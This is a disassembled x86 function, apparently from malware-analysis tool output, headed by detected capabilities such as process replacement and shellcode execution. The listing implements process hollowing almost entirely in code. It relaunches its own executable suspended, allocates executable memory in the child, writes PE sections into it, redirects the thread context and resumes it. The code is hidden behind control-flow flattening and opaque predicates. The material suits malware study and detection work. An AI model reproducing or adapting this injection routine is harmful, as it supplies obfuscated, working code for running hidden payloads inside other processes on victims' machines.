Function at 0x402e50
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x4a4
lea ebp, [esp + 0x50]
mov ecx, dword [esp + 0x4b8]
mov dword [esp + 0x24], ebp
mov eax, dword [esp + 0x24]
lea eax, [esp + 0x60]
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x28]
mov eax, dword [esp + 0x24]
mov dword [eax + 4], 0
mov dword [eax], 0
mov dword [eax + 0xc], 0
mov dword [eax + 8], 0
mov eax, dword [esp + 0x28]
mov dword [eax + 4], 0
mov dword [eax], 0
mov dword [eax + 0xc], 0
mov dword [eax + 8], 0
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax + 0x1c], 0
mov dword [eax + 0x18], 0
mov dword [eax + 0x24], 0
mov dword [eax + 0x20], 0
mov dword [eax + 0x2c], 0
mov dword [eax + 0x28], 0
mov dword [eax + 0x34], 0
mov dword [eax + 0x30], 0
mov dword [eax + 0x3c], 0
mov dword [eax + 0x38], 0
mov dword [eax + 0x40], 0
lea eax, [esp + 0xa4]
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x3c]
lea eax, [ecx + 0x3c]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0x40]
mov eax, dword [eax]
add eax, dword [esp + 0x2c]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 0x20], ecx
mov eax, dword [eax]
mov dword [esp + 0x48], eax
mov eax, 0xf8e239f6
jmp 0x402f90
mov eax, dword [0x517b00]
mov ecx, dword [0x517b04]
mov ebx, 0x31db312a
mov esi, 0xc2ac4453
lea edx, [eax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl ah
xor ah, al
cmovne ebx, esi
cmp edx, 0xffffffff
mov eax, ebx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, ebx
nop
cmp eax, 0xed56d46b
jle 0x402ff0
cmp eax, 0x26fa9c0d
jle 0x403080
cmp eax, 0x33c9587e
jle 0x403165
cmp eax, 0x6973e6c8
jg 0x4032b5
cmp eax, 0x33c9587f
je 0x4034b0
cmp eax, 0x4b217286
je 0x4034ec
cmp eax, 0x596bc160
jne 0x402f90
cmp byte [esp + 0xf], 0
mov eax, 0x31140d47
mov ecx, 0xde2245c
cmovne eax, ecx
jmp 0x402f90
cmp eax, 0xc4550071
jle 0x4030e0
cmp eax, 0xd205e9dc
jg 0x40319b
cmp eax, 0xc8802ce1
jg 0x40332d
cmp eax, 0xc4550072
je 0x4034fa
cmp eax, 0xc57b6025
je 0x403515
cmp eax, 0xc7d43e05
jne 0x402f90
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
add eax, dword [ecx + 0x10]
mov ecx, dword [esp]
mov dword [ecx + 0xb0], eax
mov eax, dword [esp + 0x10]
push dword [esp]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [esp + 0x10]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [esp + 8]
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 0xc8802ce2
jmp 0x402f90
cmp eax, 0xfc5dc2b6
jg 0x4031f9
cmp eax, 0xeeeeb5a2
jle 0x40339a
cmp eax, 0xeeeeb5a3
je 0x403527
cmp eax, 0xf356d1de
je 0x40353e
cmp eax, 0xf8e239f6
jne 0x402f90
mov eax, dword [esp + 0x48]
mov ecx, 0x9b575f3a
cmp eax, 0x4550
mov eax, 0xe4efc95c
cmove eax, ecx
jmp 0x402f90
cmp eax, 0xb41b1c91
jg 0x403277
cmp eax, 0x9b575f39
jle 0x4033bc
cmp eax, 0x9b575f3a
je 0x403572
cmp eax, 0x9c3c6207
je 0x4035e3
cmp eax, 0xab28804d
jne 0x402f90
mov eax, dword [0x517b00]
mov ecx, dword [0x517b04]
mov ebx, 0x4b217286
mov esi, 0x596bc160
lea edx, [eax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl ah
xor ah, al
cmovne ebx, esi
cmp edx, 0xffffffff
mov eax, ebx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, ebx
cmp dword [esp + 4], 0
setns byte [esp + 0xf]
jmp 0x402f90
cmp eax, 0x2d1a116a
jle 0x4033d7
cmp eax, 0x2d1a116b
je 0x4035ba
cmp eax, 0x31140d47
je 0x4035d7
cmp eax, 0x31db312a
jne 0x402f90
mov eax, 0x99a37e7c
jmp 0x402f90
cmp eax, 0xdffc4a9b
jle 0x403407
cmp eax, 0xdffc4a9c
je 0x4035f5
cmp eax, 0xe4efc95c
je 0x403620
cmp eax, 0xe70bb388
jne 0x402f90
mov eax, dword [0x517b00]
mov ecx, dword [0x517b04]
mov esi, 0x99a37e7c
lea edx, [eax - 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x31db312a
jmp 0x4034a6
cmp eax, 0x666b302
jle 0x403443
cmp eax, 0x666b303
je 0x40365f
cmp eax, 0xde2245c
je 0x403671
cmp eax, 0x234d0683
jne 0x402f90
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 8]
push 0
push dword [eax + 0x3c]
push dword [esp + 0x4c0]
push dword [esp + 0x24]
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [0x517b00]
mov ecx, dword [0x517b04]
mov esi, 0xed64ff5c
lea edx, [eax - 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xbb4082f1
jmp 0x4034a6
cmp eax, 0xbb4082f0
jle 0x403463
cmp eax, 0xbb4082f1
je 0x40368b
cmp eax, 0xbfa35e58
je 0x4036b5
cmp eax, 0xc2ac4453
jne 0x402f90
mov eax, 0xdffc4a9c
mov dword [esp + 0x38], 3
jmp 0x402f90
cmp eax, 0x6973e6c9
je 0x4036cc
cmp eax, 0x76aeb417
je 0x4036ea
cmp eax, 0x7e4ad621
jne 0x402f90
mov eax, dword [esp + 0x30]
add eax, 0x18
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov eax, dword [eax + 0x38]
mov ecx, dword [esp + 0x14]
add ecx, 0x1c
mov dword [esp + 0x44], ecx
mov ecx, dword [esp + 0x44]
mov ecx, dword [ecx]
mov dword [esp + 8], ebp
mov edx, dword [esp + 8]
push 0x40
push 0x3000
push eax
push ecx
push dword [edx]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [esp + 0x18], eax
mov eax, 0x26fa9c0e
mov ecx, 0xe70bb388
cmp dword [esp + 0x18], 0
cmove eax, ecx
jmp 0x402f90
cmp eax, 0xcfdfe669
je 0x40387e
cmp eax, 0xc8802ce2
jne 0x402f90
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
add eax, dword [ecx + 0x10]
mov ecx, dword [esp]
mov dword [ecx + 0xb0], eax
mov eax, dword [esp + 0x10]
push dword [esp]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [esp + 0x10]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [esp + 8]
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x517b00]
mov ecx, dword [0x517b04]
mov ebx, 0xc7d43e05
mov esi, 0x9c3c6207
jmp 0x402f64
cmp eax, 0xed56d46c
je 0x403756
cmp eax, 0xed64ff5c
jne 0x402f90
mov eax, 0xd205e9dd
xor edi, edi
jmp 0x402f90
cmp eax, 0x98ad9878
je 0x4037ac
cmp eax, 0x99a37e7c
jne 0x402f90
jmp 0x402f4f
cmp eax, 0x26fa9c0e
je 0x4037e6
cmp eax, 0x2b59c8fa
jne 0x402f90
mov eax, dword [0x517b00]
mov ecx, dword [0x517b04]
mov ebx, 0xc7d43e05
mov esi, 0xc8802ce2
jmp 0x402f64
cmp eax, 0xd205e9dd
je 0x403800
cmp eax, 0xd7e6eb33
jne 0x402f90
mov eax, dword [0x517b00]
mov esi, 0x33c9587f
mov ebx, 0xc4550072
lea ecx, [eax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xc4550072
jmp 0x403861
cmp eax, 0xfc5dc2b7
je 0x403824
cmp eax, 0x119e8af
jne 0x402f90
mov eax, 0xb9670355
jmp 0x402f90
cmp eax, 0xb41b1c92
je 0x403836
cmp eax, 0xb9670355
jne 0x402f90
mov eax, dword [0x517b00]
mov ecx, dword [0x517b04]
mov esi, 0xfc5dc2b7
lea edx, [eax - 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x119e8af
cmovne ebx, esi
test eax, edx
jmp 0x402f83
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp], eax
mov ebx, 0xeeeeb5a3
mov esi, 0xc4550072
cmp dword [esp], 0
mov eax, dword [0x517b00]
lea ecx, [eax - 1]
setne byte [esp + 0xe]
imul ecx, eax
mov eax, 0xc4550072
jmp 0x40363a
mov eax, dword [esp + 4]
mov eax, 0xab28804d
jmp 0x402f90
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, 0x33c9587f
jmp 0x402f90
mov ecx, dword [esp + 0x4c]
mov eax, 0xdffc4a9c
mov dword [esp + 0x38], ecx
jmp 0x402f90
cmp byte [esp + 0xe], 0
mov eax, 0x666b303
mov ecx, 0xf356d1de
cmovne eax, ecx
jmp 0x402f90
mov eax, dword [esp]
mov dword [eax], 0x10007
lea eax, [esp + 0x54]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
push dword [esp]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
mov eax, 0x7e4ad621
mov ecx, 0x666b303
cmove eax, ecx
jmp 0x402f90
mov eax, dword [0x517b00]
mov ecx, dword [0x517b04]
mov ebx, ebp
mov ebp, 0x98ad9878
mov esi, 0xed56d46c
lea edx, [eax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl ah
xor ah, al
cmovne ebp, esi
cmp edx, 0xffffffff
mov eax, ebp
cmove eax, esi
cmp ecx, 0xa
cmovge eax, ebp
mov ebp, ebx
jmp 0x402f90
cmp dword [esp + 0x1c], 0
mov eax, 0xcfdfe669
mov ecx, 0xe4efc95c
cmove eax, ecx
mov cl, 1
mov dword [esp + 0x20], ecx
jmp 0x402f90
mov eax, dword [esp + 0x10]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 0x2d1a116b
mov dword [esp + 0x1c], 1
jmp 0x402f90
mov eax, dword [esp + 0x38]
mov ebx, 0xab28804d
mov esi, 0x4b217286
mov dword [esp + 4], eax
mov eax, dword [0x517b00]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x4b217286
jmp 0x403642
mov eax, dword [0x517b00]
mov ebx, 0xb9670355
mov esi, 0x119e8af
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x119e8af
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, ebx
cmp dword [0x517b04], 0xa
setl dl
cmovge eax, esi
xor dl, cl
cmovne eax, ebx
jmp 0x402f90
mov eax, 0x2d1a116b
mov dword [esp + 0x1c], 0
jmp 0x402f90
mov eax, dword [0x517b00]
mov ecx, dword [0x517b04]
mov ebx, 0x6973e6c9
mov esi, 0xb41b1c92
jmp 0x402f64
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 8]
push 0
push dword [eax + 0x3c]
push dword [esp + 0x4c0]
push dword [esp + 0x24]
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, 0x234d0683
jmp 0x402f90
cmp byte [esp + 0xd], 0
mov eax, 0xe4efc95c
mov ecx, 0xd7e6eb33
cmovne eax, ecx
jmp 0x402f90
mov eax, dword [esp + 4]
mov eax, dword [esp + 4]
mov eax, dword [esp + 4]
mov eax, dword [esp + 4]
mov eax, dword [esp + 4]
mov eax, 0xb41b1c92
jmp 0x402f90
mov eax, dword [esp + 0x40]
mov eax, dword [eax]
add eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x34]
lea ecx, [ecx + ecx*4]
mov edx, dword [eax + ecx*8 + 0x10c]
add edx, dword [esp + 0x2c]
mov edi, dword [esp + 0x18]
add edi, dword [eax + ecx*8 + 0x104]
mov ebx, dword [esp + 8]
push 0
push dword [eax + ecx*8 + 0x108]
push edx
push edi
push dword [ebx]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call esi
mov eax, dword [esp]
mov eax, dword [eax + 0xa4]
mov ecx, dword [esp + 8]
add eax, 8
push 0
push 4
push dword [esp + 0x4c]
push eax
push dword [ecx]
call esi
mov edi, dword [esp + 0x34]
mov eax, 0xd205e9dd
inc edi
jmp 0x402f90
push 0x104
lea ebx, [esp + 0xa8]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebp
lea eax, [esp + 0x64]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov eax, dword [0x517b00]
mov esi, 0xbfa35e58
mov ebx, 0x98ad9878
setne byte [esp + 0xd]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x98ad9878
jmp 0x403859
push 0x104
lea ebx, [esp + 0xa8]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebp
lea eax, [esp + 0x64]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, 0xed56d46c
jmp 0x402f90
mov eax, dword [0x517b00]
mov ecx, dword [0x517b04]
mov ebx, 0xbb4082f1
mov esi, 0x234d0683
jmp 0x402f64
mov dword [esp + 0x34], edi
mov edx, 0x76aeb417
mov eax, dword [esp + 0x30]
movzx eax, word [eax + 6]
mov ecx, dword [esp + 0x34]
cmp ecx, eax
mov eax, 0x2b59c8fa
cmovb eax, edx
jmp 0x402f90
mov eax, 0xcfdfe669
mov dword [esp + 0x20], 0
jmp 0x402f90
mov eax, dword [esp + 4]
mov esi, 0xc57b6025
mov ebx, 0x6973e6c9
dec eax
mov dword [esp + 0x4c], eax
mov eax, dword [0x517b00]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x6973e6c9
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, esi
cmp dword [0x517b04], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, esi
jmp 0x402f90
mov eax, dword [esp + 0x3c]
mov eax, dword [esp + 0x28]
mov eax, dword [esp + 0x24]
mov eax, dword [esp + 0x20]
and al, 1
add esp, 0x4a4
pop esi
pop edi
pop ebx
pop ebp
ret